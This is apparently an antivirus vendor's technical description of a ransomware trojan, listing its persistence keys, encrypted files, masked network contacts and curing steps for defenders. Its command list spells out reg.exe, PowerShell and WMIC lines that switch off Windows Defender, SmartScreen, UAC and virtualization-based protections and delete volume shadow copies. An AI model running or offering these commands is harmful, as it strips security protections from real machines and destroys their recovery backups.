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Trojan.Encoder.44497

Added to the Dr.Web virus database: 2026-02-25

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'OneDrive Update' = '<Full path to file>'
Creates or modifies the following files
  • <SYSTEM32>\tasks\windowssecuritybealthservice
Creates the following files on removable media
  • <Drive name for removable media>:\dialmap.bmp
  • <Drive name for removable media>:\thlps_keeper_mayer_1965.docx
  • <Drive name for removable media>:\dashborder_192.bmp
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Defender
blocks the following features:
  • User Account Control (UAC)
adds antivirus exclusion:
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '<Full path to file>'"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess '<File name>.exe'"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Set-MpPreference -DisableIOAVProtection $true"
Launches a large number of processes
Patches code
in NTDLL dll
  • jnao.exe process, ntdll.dll module
Reads files which store third party applications passwords
  • %HOMEPATH%\desktop\13.jpg
  • %HOMEPATH%\desktop\alert.html
  • %HOMEPATH%\desktop\browse.html
  • %HOMEPATH%\desktop\2.jpg
  • %HOMEPATH%\desktop\contoso_1.cer
  • %HOMEPATH%\desktop\cveuropeo.doc
  • %HOMEPATH%\desktop\210252809.jpg
  • %HOMEPATH%\desktop\3.jpeg
  • %HOMEPATH%\desktop\dashborder_96.bmp
  • %HOMEPATH%\desktop\4f0bf7ff71f28.jpg
  • %HOMEPATH%\desktop\fi51.doc
  • %HOMEPATH%\desktop\adhd_and_obesity.docx
  • %HOMEPATH%\desktop\glidescope_review_rev_010.docx
  • %HOMEPATH%\desktop\advice_process.htm
  • %HOMEPATH%\desktop\ituneshelpunavailable.htm
  • %HOMEPATH%\desktop\join.avi
  • %HOMEPATH%\desktop\ovp25012015.doc
  • %HOMEPATH%\desktop\parnas_01.jpg
  • %HOMEPATH%\desktop\pushkin.jpg
  • %HOMEPATH%\desktop\region-north-karelia.jpg
  • %HOMEPATH%\desktop\sdksampleunprivdeveloper.cer
  • %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
  • %HOMEPATH%\desktop\tileimage.bmp
  • %HOMEPATH%\desktop\toolbar.bmp
  • %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
Modifies file system
Creates the following files
  • %APPDATA%\windowsupdates\.session
  • %TEMP%\nwg50c.tmp
  • %TEMP%\noctis_wallpaper.bmp
Deletes following files that it created itself
  • %TEMP%\nwg50c.tmp
Modifies the following files
  • %HOMEPATH%\.oracle_jre_usage\90737d32e3aba6b.timestamp
  • <Drive name for removable media>:\thlps_keeper_mayer_1965.docx
  • %HOMEPATH%\.oracle_jre_usage\90737d32e3aba6b.timestamp.noctis
  • %HOMEPATH%\desktop\alert.html
  • <Drive name for removable media>:\dialmap.bmp
  • %HOMEPATH%\desktop\alert.html.noctis
  • <Drive name for removable media>:\dialmap.bmp.noctis
  • <Drive name for removable media>:\thlps_keeper_mayer_1965.docx.noctis
  • <Drive name for removable media>:\dashborder_192.bmp
  • <Drive name for removable media>:\dashborder_192.bmp.noctis
  • %HOMEPATH%\favorites\bing.url
  • %HOMEPATH%\favorites\bing.url.noctis
  • %HOMEPATH%\searches\winrt--{s-1-5-21-4226853953-3309226944-3078887307-1000}-.searchconnector-ms
  • %HOMEPATH%\searches\winrt--{s-1-5-21-4226853953-3309226944-3078887307-1000}-.searchconnector-ms.noctis
  • %APPDATA%\microsoft\windows\themes\transcodedwallpaper
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
  • 'ma##.#itnova.click':443
  • 'ap#.#pify.org':443
TCP
Other
  • 'ma##.#itnova.click':443
  • 'ap#.#pify.org':443
UDP
  • DNS ASK ma##.#itnova.click
  • DNS ASK ap#.#pify.org
  • DNS ASK ba##.#bitnndva.ied
Miscellaneous
Executes the following
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mon_projet.exe" /v DisableExceptionChainValidation /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /C "wmic /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference CALL Set DisableRealtimeMonitoring=true"
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v SmartAppControlState /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference CALL Set DisableRealtimeMonitoring=true
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\schtasks.exe' /create /f /tn WindowsSecurityBealthService /tr <Full path to file> /sc onlogon /rl highest
  • '<SYSTEM32>\cmd.exe' /c ver
  • '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v EnableSmartScreen /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /C "wmic /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference CALL Set DisableBehaviorMonitoring=true"
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }"
  • '<SYSTEM32>\reg.exe' add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference CALL Set DisableBehaviorMonitoring=true
  • '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance /v Enabled /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\reg.exe' add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d %TEMP%\noctis_wallpaper.bmp /f
  • '<SYSTEM32>\reg.exe' add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\reg.exe' add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\rundll32.exe' user32.dll,UpdatePerUserSystemParameters
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /C "wmic /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference CALL Set DisableIOAVProtection=true"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%HOMEPATH%\Desktop\DECRYPT YOUR FILES.lnk'); $Shortcut.TargetPath = '<Full p...
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access" /v EnableControlledFolderAccess /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference CALL Set DisableIOAVProtection=true
  • '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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